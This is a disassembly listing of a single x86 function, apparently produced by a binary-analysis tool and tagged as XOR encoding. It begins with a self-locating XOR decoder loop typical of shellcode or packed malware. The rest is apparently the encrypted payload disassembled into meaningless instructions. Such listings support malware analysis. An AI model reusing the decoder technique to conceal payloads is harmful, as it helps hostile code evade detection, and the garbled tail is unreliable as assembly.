Function at 0xf53714
Capabilities:
Encode data using xor

Disassembly:
jmp 0xf5371e
pushal
call 0xf53724
pop ebp
sub ebp, 0x10
sub ebp, 0xb53714
jmp 0xf5373a
mov eax, 0xb53714
add eax, ebp
add eax, 0x4c
mov ecx, 0x5c1
mov edx, 0xff90268c
xor byte [eax], dl
inc eax
dec ecx
jne 0xf53751
jmp 0xf53764
pop es
inc ecx
pop es
add eax, 0x8c8c8cb0
or eax, 0x8c8c744d
mov word [edi - 0x7375cbbf], cs
mov word [esi + esi - 0x7373735c], cs
jnp 0xf537ee
pop dword [edi + eax + 0xd]
or byte [esp + ecx*4 + 0x1498f8c], 0xe8
test al, 0x70
add eax, 0xe801a888
test al, 0x70
add eax, 0xe0e4a888
out dx, al
lodsd eax, dword [esi]
mov esp, fs
and al, 0x58
pop ds
mov word [ebp - 0xf1b5760], cs
dec eax
xor eax, 0x8c896488
mov word [ebp - 0x7373735e], cs
add eax, ebp
test al, 0x70
add eax, 0xd1d8a8a0
pop es
mov byte [0x18c8c8c], al
call 0xa0faa862
test al, 0xd8
rol dword [edi], 1
or dword [esp + ecx*4 + 0x19078c8c], eax
or byte [esp + ecx*4 - 0x63fef874], 0x8c
mov word [ebp + ecx*2 - 0x7142719b], cs
cmovle ecx, dword [eax + 0x780983c5]
jae 0xf53850
js 0xf5384f
jae 0xf53851
jae 0xf537b0
ror dword [esi - 0x80], 1
mov word [edi], es
add byte [eax - 0x73737378], ch
in al, 0xe0
out dx, al
dec esi
or byte [edi + eax - 0x73775800], 0x8c
mov esp, fs
loopne 0xf537da
lodsd eax, dword [esi]
mov esp, fs
and al, 0x58
in al, 0x24
pop eax
pop ds
mov word [ebp - 0x17fe5760], cs
test al, 0x70
add eax, 0x8964a880
mov word [esp + ecx*4 - 0x73714c9b], cs
mov ecx, ds
mov word [ecx + ebx*8 - 0x68c9ff9], cs
pop es
pushal
jae 0xf53805
xor byte [ebx - 7], 0x84
dec byte fs:[esp + ecx*4 - 0x7bcef874]
mov word [esp + ecx*4 + 0x38de7d0d], cs
test al, 0xf5
or eax, 0xa838de7d
cmc
mov edi, 0xf5ebf45
mov esp, eax
or dword [eax], 0xffffffc2
test byte [esp + ecx*4 - 0x2182f274], cl
cmp byte [eax - 0x2182f20b], ch
cmp byte [eax - 0x40ba400b], ch
pop esi
pcmpgtb mm1, qword [ecx - 0x3df77c3c]
mov word [esp + ecx*4 - 0x733bfb7d], cs
mov word [edx + ebp*8 + 0xcb59007], cs
ja 0xf538a6
or dword [eax], 0xffffff96
mov word [esp + ecx*4 - 0x7c9a88f4], cs
or byte [ebp - 0x15737374], bl
popfd
mov word [esp + ecx*4 + 0x73770dea], cs
mov word [edx + ebp*8 - 0x568c88f3], cs
or dword [eax], 0xffffff99
mov word [esp + ecx*4 + 0x734065cd], cs
jae 0xf538d5
mov edx, gs
ljmp 0x883:0xa973770d
or eax, 0x83a97377
or byte [ecx - 0x32737374], bl
inc eax
jae 0xf538d4
test eax, 0x8c990883
mov word [ebp + ecx*8 + 0x73734065], cs
jae 0xf53808
movsd dword es:[edi], dword [esi]
sal byte [ebp - 0x76b2f073], 0xf
mov byte fs:[ebp + 0x31], ah
jae 0xf538e3
jae 0xf53817
fdiv dword [ebp - 0x75b2f072]
pcmpgtd mm1, qword [eax + 0x6589640f]
daa
jae 0xf538f5
jae 0xf53855
dec esi
or byte [ecx + ebx*8 - 0x24259ff9], 0xd9
pop es
stc
add byte [edi], 0xf1
test byte [eax + 0x3e], dh
or al, 6
mov cl, byte [0x8c8c8d4a]
mov word [ebx + ecx*4], es
or eax, 0x8c8c8d4b
invalid
aaa
mov cs, word [esp + ecx*4 - 0x7ca17174]
or dword [ecx + 0x68c8c8c], ecx
lcall 0x540f, 0x835e9eca
jae 0xf53930
jae 0xf5384d
pop esi
or dword [ecx], 0xffffff89
mov word [esp + ecx*4 - 0x613565fa], cs
pop esi
or dword [edi], 0xffffffe6
mov word [esp + ecx*4 + 0x5e8e4cbf], cs
pop esi
or dword [ecx], 0xffffff89
mov word [esp + ecx*4 - 0x613565fa], cs
pop esi
or dword [edi], 0xffffffa6
lea ecx, [esp + ecx*4 + 0x9835e8e]
mov dword [esp + ecx*4 - 0x3565f974], ecx
sahf
pop esi
lahf
dec esp
mov ds, word [esi - 0x7d]
or dword [ecx + 0x68c8c8c], ecx
lcall 0x8e4c, 0x9f5e9eca
pop esi
or dword [ecx], 0xffffff89
mov word [esp + ecx*4 - 0x613565fa], cs
pop esi
lahf
dec esp
mov ds, word [esi - 0x7d]
or dword [ecx + 0x68c8c8c], ecx
lcall 0x834c, 0x9f5e9eca
or byte [edx + 0x78c8c8c], cl
push ebx
cmpsd dword [esi], dword es:[edi]
push esp
push es
pop dword [ebx + ecx*4]
retf